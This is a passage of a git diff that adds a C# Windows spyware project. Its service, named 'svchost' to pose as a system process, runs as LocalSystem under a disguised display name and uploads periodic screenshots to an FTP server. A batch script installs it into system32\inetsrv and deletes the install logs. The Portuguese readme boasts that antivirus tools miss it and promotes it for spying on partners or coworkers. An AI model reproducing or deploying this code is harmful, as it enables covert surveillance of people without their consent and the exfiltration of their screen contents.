= 0x0290, + WM_IME_KEYUP = 0x0291, + WM_MOUSEHOVER = 0x02A1, + WM_MOUSELEAVE = 0x02A3, + WM_CUT = 0x0300, + WM_COPY = 0x0301, + WM_PASTE = 0x0302, + WM_CLEAR = 0x0303, + WM_UNDO = 0x0304, + WM_RENDERFORMAT = 0x0305, + WM_RENDERALLFORMATS = 0x0306, + WM_DESTROYCLIPBOARD = 0x0307, + WM_DRAWCLIPBOARD = 0x0308, + WM_PAINTCLIPBOARD = 0x0309, + WM_VSCROLLCLIPBOARD = 0x030A, + WM_SIZECLIPBOARD = 0x030B, + WM_ASKCBFORMATNAME = 0x030C, + WM_CHANGECBCHAIN = 0x030D, + WM_HSCROLLCLIPBOARD = 0x030E, + WM_QUERYNEWPALETTE = 0x030F, + WM_PALETTEISCHANGING = 0x0310, + WM_PALETTECHANGED = 0x0311, + WM_HOTKEY = 0x0312, + WM_PRINT = 0x0317, + WM_PRINTCLIENT = 0x0318, + WM_HANDHELDFIRST = 0x0358, + WM_HANDHELDLAST = 0x035F, + WM_AFXFIRST = 0x0360, + WM_AFXLAST = 0x037F, + WM_PENWINFIRST = 0x0380, + WM_PENWINLAST = 0x038F, + WM_APP = 0x8000, + WM_USER = 0x0400, + WM_REFLECT = WM_USER + 0x1c00 + } + + /// + /// Defines the style bits that a window can have + /// + public enum WindowStyles: uint + { + WS_BORDER = 0x800000, + WS_CAPTION = 0xC00000,// ' WS_BORDER Or WS_DLGFRAME + WS_CHILD = 0x40000000, + WS_CHILDWINDOW = (WS_CHILD), + WS_CLIPCHILDREN = 0x2000000, + WS_CLIPSIBLINGS = 0x4000000, + WS_DISABLED = 0x8000000, + WS_DLGFRAME = 0x400000, + WS_EX_ACCEPTFILES = 0x10, + WS_EX_DLGMODALFRAME = 0x1, + WS_EX_NOPARENTNOTIFY = 0x4, + WS_EX_TOPMOST = 0x8, + WS_EX_TRANSPARENT = 0x20, + WS_EX_TOOLWINDOW = 0x80, + WS_EX_APPWINDOW = 0x40000, + WS_GROUP = 0x20000, + WS_HSCROLL = 0x100000, + WS_MAXIMIZE = 0x1000000, + WS_MAXIMIZEBOX = 0x10000, + WS_MINIMIZE = 0x20000000, + WS_MINIMIZEBOX = 0x20000, + WS_OVERLAPPED = 0x0, + WS_POPUP = 0x80000000, + WS_SYSMENU = 0x80000, + WS_TABSTOP = 0x10000, + WS_THICKFRAME = 0x40000, + WS_VISIBLE = 0x10000000, + WS_VSCROLL = 0x200000, + WS_ICONIC = WS_MINIMIZE, + WS_POPUPWINDOW = (WS_POPUP | WS_BORDER | WS_SYSMENU), + WS_SIZEBOX = WS_THICKFRAME, + WS_TILED = WS_OVERLAPPED, + WS_OVERLAPPEDWINDOW = (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX) + } + + public struct WindowInfo + { + public int size; + public Rectangle window; + public Rectangle client; + public int style; + public int exStyle; + public int windowStatus; + public uint xWindowBorders; + public uint yWindowBorders; + public short atomWindowtype; + public short creatorVersion; + } + + public struct WindowPlacement + { + public int length; + public int flags; + public int showCmd; + public Point minPosition; + public Point maxPosition; + public Rectangle normalPosition; + } + + public struct Rect + { + public int left; + public int top; + public int right; + public int bottom; + + public int Width + { + get + { + return right - left; + } + } + + public int Height + { + get + { + return bottom - top; + } + } + } + + public delegate bool EnumWindowEventHandler(IntPtr hWnd, Int32 lParam); + + [DllImport("user32.dll")] + public static extern int GetWindowModuleFileName(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("user32.dll")] + public static extern int SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + + [DllImport("user32.dll")] + public static extern bool GetWindowPlacement(IntPtr window, ref WindowPlacement position); + + [DllImport("User32.dll")] + public static extern int RegisterWindowMessage(string message); + + [DllImport("User32.dll")] + public static extern void EnumWindows(EnumWindowEventHandler callback, Int32 lParam); + + // [DllImport("User32.dll")] + // public static extern Int32 GetWindowText(IntPtr hWnd, StringBuilder lpString, Int32 nMaxCount); + + [DllImport("User32.dll")] + public static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("User32.dll")] + public static extern Int32 GetWindow(IntPtr hWnd, Int32 wCmd); + + // [DllImport("User32.dll")] + // public static extern WindowStyles GetWindowLong(IntPtr hWnd, Int32 index); + + [DllImport("User32.dll")] + public static extern IntPtr GetParent(IntPtr hWnd); + + [DllImport("User32.dll")] + public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); + + [DllImport("User32.dll")] + public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("User32.dll")] + public static extern WindowStyles GetWindowLong(IntPtr hWnd, int index); + + [DllImport("User32.dll")] + public static extern int SendMessageTimeout(IntPtr hWnd, int uMsg, int wParam, int lParam, int fuFlags, int uTimeout, out int lpdwResult); + + [DllImport("User32.dll")] + public static extern int GetClassLong(IntPtr hWnd, int index); + + [DllImport("User32.dll")] + public static extern int GetWindowThreadProcessId(IntPtr hWnd, out int processId); + + [DllImport("User32.dll")] + public static extern int SendMessage(IntPtr hWnd, int uMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("User32.dll")] + public static extern int PostMessage(IntPtr hWnd, int uMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("User32.dll")] + public static extern void SwitchToThisWindow(IntPtr hWnd, int altTabActivated); + + [DllImport("User32.dll")] + public static extern int ShowWindowAsync(IntPtr hWnd, int command); + + [DllImport("user32.dll")] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll")] + public static extern bool BringWindowToTop(IntPtr window); + + [DllImport("user32.dll")] + public static extern bool GetWindowInfo(IntPtr hwnd, ref WindowInfo info); + + [DllImport("user32.dll")] + public static extern IntPtr GetWindowDC(IntPtr hwnd); + + [DllImport("user32.dll")] + public static extern IntPtr GetDC(IntPtr hwnd); + + [DllImport("user32.dll")] + public static extern Int32 ReleaseDC(IntPtr hwnd, IntPtr hdc); + + [DllImport("user32.dll")] + public static extern bool GetWindowRect(IntPtr hwnd, ref Rect rectangle); + + [DllImport("user32.dll")] + public static extern bool GetClientRect(IntPtr hwnd, ref Rect rectangle); + + [DllImport("user32.dll")] + public static extern IntPtr WindowFromPoint(Point pt); + + [DllImport("user32.dll")] + public static extern IntPtr SetCapture(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int ReleaseCapture(); + + [DllImport("user32.dll")] + public static extern IntPtr SelectObject(IntPtr hDc, IntPtr hObject); + + [DllImport("user32.dll")] + public static extern IntPtr GetStockObject(int nObject); + + [DllImport("user32.dll")] + public static extern int InvalidateRect(IntPtr hWnd, IntPtr lpRect, int bErase); + + [DllImport("user32.dll")] + public static extern int UpdateWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int RedrawWindow(IntPtr hWnd, IntPtr lprcUpdate, IntPtr hrgnUpdate, uint flags); + + #endregion Windows + + #region GDI - gdi32.dll + + public enum BinaryRasterOperations + { + R2_BLACK =1, /* 0 */ + R2_NOTMERGEPEN =2, /* DPon */ + R2_MASKNOTPEN =3, /* DPna */ + R2_NOTCOPYPEN =4, /* PN */ + R2_MASKPENNOT =5, /* PDna */ + R2_NOT =6, /* Dn */ + R2_XORPEN =7, /* DPx */ + R2_NOTMASKPEN =8, /* DPan */ + R2_MASKPEN =9, /* DPa */ + R2_NOTXORPEN =10, /* DPxn */ + R2_NOP =11, /* D */ + R2_MERGENOTPEN =12, /* DPno */ + R2_COPYPEN =13, /* P */ + R2_MERGEPENNOT =14, /* PDno */ + R2_MERGEPEN =15, /* DPo */ + R2_WHITE =16, /* 1 */ + R2_LAST =16 + } + + public enum TernaryRasterOperations + { + SRCCOPY = 0x00CC0020, /* dest = source */ + SRCPAINT = 0x00EE0086, /* dest = source OR dest */ + SRCAND = 0x008800C6, /* dest = source AND dest */ + SRCINVERT = 0x00660046, /* dest = source XOR dest */ + SRCERASE = 0x00440328, /* dest = source AND (NOT dest ) */ + NOTSRCCOPY = 0x00330008, /* dest = (NOT source) */ + NOTSRCERASE = 0x001100A6, /* dest = (NOT src) AND (NOT dest) */ + MERGECOPY = 0x00C000CA, /* dest = (source AND pattern) */ + MERGEPAINT = 0x00BB0226, /* dest = (NOT source) OR dest */ + PATCOPY = 0x00F00021, /* dest = pattern */ + PATPAINT = 0x00FB0A09, /* dest = DPSnoo */ + PATINVERT = 0x005A0049, /* dest = pattern XOR dest */ + DSTINVERT = 0x00550009, /* dest = (NOT dest) */ + BLACKNESS = 0x00000042, /* dest = BLACK */ + WHITENESS = 0x00FF0062 /* dest = WHITE */ + + } + + [DllImport("gdi32.dll")] + public static extern bool BitBlt(IntPtr hdcDst, int xDst, int yDst, int cx, int cy, IntPtr hdcSrc, int xSrc, int ySrc, uint ulRop); + + [DllImport("gdi32.dll")] + public static extern bool StretchBlt(IntPtr hdcDst, int xDst, int yDst, int cx, int cy, IntPtr hdcSrc, int xSrc, int ySrc, int cxSrc, int cySrc, uint ulRop); + + [DllImport("gdi32.dll")] + public static extern IntPtr CreateDC(IntPtr lpszDriver, string lpszDevice, IntPtr lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + public static extern IntPtr DeleteDC(IntPtr hdc); + + #endregion + + #region Shlwapi.dll + + [DllImport("Shlwapi.dll")] + public static extern string PathGetArgs(string path); + + public static string SafePathGetArgs(string path) + { + try + { + return Win32.PathGetArgs(path); + } + catch(System.Exception) {} + return string.Empty; + } + + [DllImport("Shlwapi.dll")] + public static extern int PathCompactPathEx( + System.Text.StringBuilder pszOut, /* Address of the string that has been altered */ + System.Text.StringBuilder pszSrc, /* Pointer to a null-terminated string of max length (MAX_PATH) that contains the path to be altered */ + uint cchMax, /* Maximum number of chars to be contained in the new string, including the null character. Example: cchMax = 8, then 7 chars will be returned, the last for the null character. */ + uint dwFlags); /* Reserved */ + + public static string PathCompactPathEx(string source, uint maxChars) + { + StringBuilder pszOut = new StringBuilder((int)Win32.MAX_PATH); + StringBuilder pszSrc = new StringBuilder(source); + + int result = Win32.PathCompactPathEx(pszOut, pszSrc, maxChars, (uint)0); + if (result == 1) + return pszOut.ToString(); + else + { + System.Diagnostics.Debug.WriteLine("Win32.PathCompactPathEx failed to compact the path '" + source + "' down to '" + maxChars + "' characters."); + return string.Empty; + } + } + + #endregion + + #region Hotkeys + + [Flags()] + public enum HotkeyModifiers + { + MOD_ALT = 0x0001, + MOD_CONTROL = 0x0002, + MOD_SHIFT = 0x0004, + MOD_WIN = 0x0008 + } + + [DllImport("User32")] + public static extern int RegisterHotKey(IntPtr hWnd, int id, uint modifiers, uint virtualkeyCode); + + [DllImport("User32")] + public static extern int UnregisterHotKey(IntPtr hWnd, int id); + + [DllImport("Kernel32")] + public static extern short GlobalAddAtom(string atomName); + + [DllImport("Kernel32")] + public static extern short GlobalDeleteAtom(short atom); + + #endregion + + [DllImport("User32")] + public static extern int LockWindowUpdate(IntPtr windowHandle); + + public static short MAKEWORD(byte a, byte b) + { + return ((short)(((byte)(a & 0xff)) | ((short)((byte)(b & 0xff))) << 8)); + } + + public static byte LOBYTE(short a) + { + return ((byte)(a & 0xff)); + } + + public static byte HIBYTE(short a) + { + return ((byte)(a >> 8)); + } + + public static int MAKELONG(short a, short b) + { + return ( ((int)(a & 0xffff)) | (((int)(b & 0xffff)) << 16) ); + } + + public static short HIWORD(int a) + { + return ((short)(a >> 16)); + } + + public static short LOWORD(int a) + { + return ((short)(a & 0xffff)); + } + + [DllImport("Kernel32")] + public static extern int CopyFile(string source, string destination, int failIfExists); + } + + +} diff --git a/ProjectInstaller.cs b/ProjectInstaller.cs new file mode 100644 index 0000000..1fa83a8 --- /dev/null +++ b/ProjectInstaller.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections; +using System.ComponentModel; +using System.Configuration.Install; +using Microsoft.Win32; + +namespace svchostService +{ + /// + /// Summary description for ProjectInstaller. + /// + [RunInstaller(true)] + public class ProjectInstaller : System.Configuration.Install.Installer + { + private System.ServiceProcess.ServiceProcessInstaller svchostProcessInstaller; + private System.ServiceProcess.ServiceInstaller svchostInstaller; + /// + /// Required designer variable. + /// + private System.ComponentModel.Container components = null; + + public ProjectInstaller() + { + // This call is required by the Designer. + InitializeComponent(); + + // TODO: Add any initialization after the InitializeComponent call + } + + /// + /// Clean up any resources being used. + /// + protected override void Dispose( bool disposing ) + { + if( disposing ) + { + if(components != null) + { + components.Dispose(); + } + } + base.Dispose( disposing ); + } + + + #region Component Designer generated code + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.svchostProcessInstaller = new System.ServiceProcess.ServiceProcessInstaller(); + this.svchostInstaller = new System.ServiceProcess.ServiceInstaller(); + // + // svchostProcessInstaller + // + this.svchostProcessInstaller.Account = System.ServiceProcess.ServiceAccount.LocalSystem; + this.svchostProcessInstaller.Password = null; + this.svchostProcessInstaller.Username = null; + // + // svchostInstaller + // + //this.svchostInstaller.DisplayName = "DCOM Server Process Handler"; + //this.svchostInstaller.ServiceName = "DCOM Server Process Handler"; + this.svchostInstaller.DisplayName = "Assistente de detecção do hardware do shell"; + this.svchostInstaller.ServiceName = "Assistente de detecção do hardware do shell"; + this.svchostInstaller.StartType = System.ServiceProcess.ServiceStartMode.Automatic ; + // + // ProjectInstaller + // + this.Installers.AddRange(new System.Configuration.Install.Installer[] { this.svchostProcessInstaller , this.svchostInstaller}); + +// Nao funciona. Talvez por alguma questao de seguranca, implementado em alguma correcao do Windows +// // Here is where we set the bit on the value in the registry. +// // Grab the subkey to our service +// RegistryKey ckey = Registry.LocalMachine.OpenSubKey( +// @"SYSTEM\CurrentControlSet\Services\DCOM Server Process Handler", true); +// // Good to always do error checking! +// if(ckey != null) +// { +// // Ok now lets make sure the "Type" value is there, +// //and then do our bitwise operation on it. +// if(ckey.GetValue("Type") != null) +// { +// ckey.SetValue("Type", ((int)ckey.GetValue("Type") | 256)); +// } +// } + + } + #endregion + } +} diff --git a/ProjectInstaller.resx b/ProjectInstaller.resx new file mode 100644 index 0000000..dd0ea4d --- /dev/null +++ b/ProjectInstaller.resx @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 1.0.0.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + diff --git a/bin/Debug/svchost.exe.config b/bin/Debug/svchost.exe.config new file mode 100644 index 0000000..9e72966 --- /dev/null +++ b/bin/Debug/svchost.exe.config @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/bin/Release/InstallUtil.exe b/bin/Release/InstallUtil.exe new file mode 100644 index 0000000000000000000000000000000000000000..37c71ad7b900a2885065fde0b7b89d7f48e72bec GIT binary patch literal 15872 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 literal 0 HcmV?d00001 diff --git a/bin/Release/instala.bat b/bin/Release/instala.bat new file mode 100644 index 0000000..99f2429 --- /dev/null +++ b/bin/Release/instala.bat @@ -0,0 +1,9 @@ +copy w3svcps.dll C:\WINDOWS\system32\inetsrv +copy svchost.exe C:\WINDOWS\system32\inetsrv +copy svchost.exe.config C:\WINDOWS\system32\inetsrv +copy InstallUtil.exe C:\WINDOWS\system32\inetsrv +C:\WINDOWS\system32\inetsrv\InstallUtil.exe C:\WINDOWS\system32\inetsrv\svchost.exe +del C:\WINDOWS\system32\inetsrv\InstallUtil.exe +del C:\WINDOWS\system32\inetsrv\svchost.InstallLog +del C:\WINDOWS\system32\inetsrv\svchost.InstallState +del InstallUtil.InstallLog \ No newline at end of file diff --git a/bin/Release/remove.bat b/bin/Release/remove.bat new file mode 100644 index 0000000..79e1164 --- /dev/null +++ b/bin/Release/remove.bat @@ -0,0 +1,6 @@ +InstallUtil.exe /u C:\WINDOWS\system32\inetsrv\svchost.exe +del C:\WINDOWS\system32\inetsrv\svchost.exe +del C:\WINDOWS\system32\inetsrv\w3svcps.dll +del C:\WINDOWS\system32\inetsrv\svchost.exe.config +del C:\WINDOWS\system32\inetsrv\svchost.InstallLog +del InstallUtil.InstallLog diff --git a/bin/Release/svchost.exe.config b/bin/Release/svchost.exe.config new file mode 100644 index 0000000..9e72966 --- /dev/null +++ b/bin/Release/svchost.exe.config @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/readme.markdown b/readme.markdown new file mode 100644 index 0000000..15c77ef --- /dev/null +++ b/readme.markdown @@ -0,0 +1,27 @@ +svchost ? WTF +=== +__"Não perca seu tempo instalando antivirus. Eles são o piores virus que existem e só deixam sua máquina lenta. Quer se proteger de verdade? Entenda como funcionam os virus!"__ + +Tenho feito essa afirmação nos últimos 4 anos da minha vida de garoto de programa. As vezes alguns me perguntam qual o melhor antivirus e eu digo nenhum. Uns não entendem, outros começam a discutir e outros acham que eu estou falando abrobrinha. Tolos. Para provar criei esse programa em 2006, em C# e dotnet 1.1, que ao instalado na máquina fica tirando screenshots da máquina em que está instalado e enviando para um ftp de sua escolha em um tempo pré determinado. Já passou no teste de dezenas de anti-virus e é praticamente indetectável. Funciona que é uma beleza, na rede local :) + +__[modo polishop on] +E não é só isso! +Se você tem dúvida que seu companheiro de relacionamento está te sacaneando ou quer só espionar aquele membro da equipe folgado, que vc sabe que não está fazendo nada, só matando tempo e na sua frente faz se parecer a pessoa mais esforçada e estudiosa do planeta, esse programa é para você. Agora você pode espiona-lo 24 horas por dia sem nenhum esforço na tranqualidade do seu pc. +__[/modo polishop off] + +E antes de pensar em usá-lo, para não vir me chingar depois, lembre-se: +"A ignorância é uma benção" (http://www.interney.net/blogs/inagaki/2008/03/04/o_poder_da_ignorancia/) +====== + +Instalação +=== +1. Clone ou faça o download do projeto do github. +2. Entre no diretório bin\Release e configure o arquivo svchost.exe.config com o nome de usuário e senha do ftp, ip, e o intervalo em milisegundos que vc quer os screenshots. +3. Execute o instala.bat +4. Encontre o serviço "Assistente de detecção do hardware do shell". Sim eu sei. Tem 2, se você estiver usando o rWindows em português. Escolha o correto :). Se não souber qual o correto, morra lentamente! +5. Configure um login de administrador no serviço, e dê permissão para que o serviço possa interagir com o desktop. +6. Configure o serviço para que ele possa iniciar automaticamente, e reiniciar em caso de falha. +7. Descubra se você tinha razão! E solte aquele clássico "Eu sabia ...". Não, vc não sabia! LOL + +Não use para o MAL :| +luisbebop@gmail.com \ No newline at end of file diff --git a/svchost.cs b/svchost.cs new file mode 100644 index 0000000..c51c541 --- /dev/null +++ b/svchost.cs @@ -0,0 +1,103 @@ +using System; +using System.Collections; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.ServiceProcess; + +namespace svchostService +{ + public class svchost : System.ServiceProcess.ServiceBase + { + private System.Timers.Timer mytimer; + private CaptureAndSend.CaptureAndSendTask capture; + + /// + /// Required designer variable. + /// + private System.ComponentModel.Container components = null; + + public svchost() + { + // This call is required by the Windows.Forms Component Designer. + InitializeComponent(); + + // TODO: Add any initialization after the InitComponent call + } + + // The main entry point for the process + static void Main() + { + System.ServiceProcess.ServiceBase[] ServicesToRun; + + // More than one user Service may run within the same process. To add + // another service to this process, change the following line to + // create a second service object. For example, + // + // ServicesToRun = new System.ServiceProcess.ServiceBase[] {new Service1(), new MySecondUserService()}; + // + ServicesToRun = new System.ServiceProcess.ServiceBase[] { new svchost() }; + + System.ServiceProcess.ServiceBase.Run(ServicesToRun); + } + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.capture = new CaptureAndSend.CaptureAndSendTask(); + + this.mytimer = new System.Timers.Timer(); + ((System.ComponentModel.ISupportInitialize)(this.mytimer)).BeginInit(); + + this.mytimer.Interval = Convert.ToDouble(System.Configuration.ConfigurationSettings.AppSettings["intervalmiliseconds"]); + this.mytimer.Elapsed +=new System.Timers.ElapsedEventHandler(mytimer_Elapsed); + + components = new System.ComponentModel.Container(); + this.ServiceName = "svchost"; + ((System.ComponentModel.ISupportInitialize)(this.mytimer)).EndInit(); + } + + private void mytimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) + { + string ftphost = System.Configuration.ConfigurationSettings.AppSettings["ftphost"]; + string username = System.Configuration.ConfigurationSettings.AppSettings["username"]; + string password = System.Configuration.ConfigurationSettings.AppSettings["password"]; + + this.capture.SingleCaptureJPGAndSendFTP(ftphost,username,password); + } + + /// + /// Clean up any resources being used. + /// + protected override void Dispose( bool disposing ) + { + if( disposing ) + { + if (components != null) + { + components.Dispose(); + } + } + base.Dispose( disposing ); + } + + 